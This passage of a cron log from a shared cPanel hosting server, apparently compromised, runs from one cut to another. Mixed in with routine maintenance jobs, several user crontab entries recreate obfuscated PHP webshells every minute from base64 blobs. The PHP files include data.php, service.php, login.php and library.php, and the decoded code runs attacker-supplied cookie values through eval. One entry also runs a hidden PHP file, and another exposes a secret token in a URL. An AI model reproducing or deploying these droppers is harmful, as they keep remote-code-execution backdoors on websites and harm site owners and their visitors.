Qyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:34:01 medusa CROND[27153]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:34:01 medusa CROND[27154]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 05:34:01 medusa CROND[27151]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:34:01 medusa CROND[27155]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:34:01 medusa CROND[27158]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:34:01 medusa CROND[27159]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:34:01 medusa CROND[27162]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:34:01 medusa CROND[27156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:35:01 medusa CROND[28682]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 05:35:02 medusa CROND[28696]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 05:35:02 medusa CROND[28708]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cldiag.cronlock /usr/bin/cldiag --cron-check)
Jun  7 05:35:02 medusa CROND[28709]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:35:02 medusa CROND[28712]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 05:35:02 medusa CROND[28713]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:35:02 medusa CROND[28715]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 05:35:02 medusa CROND[28711]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 05:35:02 medusa CROND[28714]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 05:35:02 medusa CROND[28717]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 05:35:02 medusa CROND[28722]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:35:02 medusa CROND[28723]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:35:02 medusa CROND[28724]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 05:35:02 medusa CROND[28733]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:35:02 medusa CROND[28732]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 05:35:02 medusa CROND[28736]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:35:02 medusa CROND[28738]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 05:35:02 medusa CROND[28739]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 05:35:02 medusa CROND[28735]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 05:35:02 medusa CROND[28743]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:35:02 medusa CROND[28744]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:35:02 medusa CROND[28746]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:35:02 medusa CROND[28747]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 05:35:02 medusa CROND[28734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:35:02 medusa CROND[28752]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Jun  7 05:35:02 medusa CROND[28737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:36:01 medusa CROND[30487]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:36:02 medusa CROND[30536]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:36:02 medusa CROND[30537]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 05:36:02 medusa CROND[30538]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:36:02 medusa CROND[30539]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 05:36:02 medusa CROND[30540]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:36:02 medusa CROND[30541]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:36:02 medusa CROND[30542]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:36:02 medusa CROND[30544]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:36:02 medusa CROND[30546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:36:02 medusa CROND[30547]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:36:02 medusa CROND[30549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:36:02 medusa CROND[30550]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxn